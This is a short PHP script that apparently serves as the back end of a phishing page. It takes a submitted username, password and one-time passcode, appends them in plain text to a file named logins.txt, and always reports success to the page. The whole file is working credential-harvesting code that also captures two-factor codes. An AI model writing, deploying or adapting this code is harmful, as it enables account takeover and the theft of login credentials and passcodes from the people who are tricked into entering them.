<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $otp = isset($_POST['otp']) ? $_POST['otp'] : '';  // OTP may not be present in the first submission

    // Save login credentials in a text file
    $data = "Username: $username, Password: $password";
    if ($otp) {
        $data .= ", OTP: $otp";  // Include OTP if available
    }
    $data .= "\n";

    // Append data to log file
    file_put_contents("logins.txt", $data, FILE_APPEND);

    // Send a response back to the frontend
    echo json_encode(["status" => "success"]);
    exit();
}
?>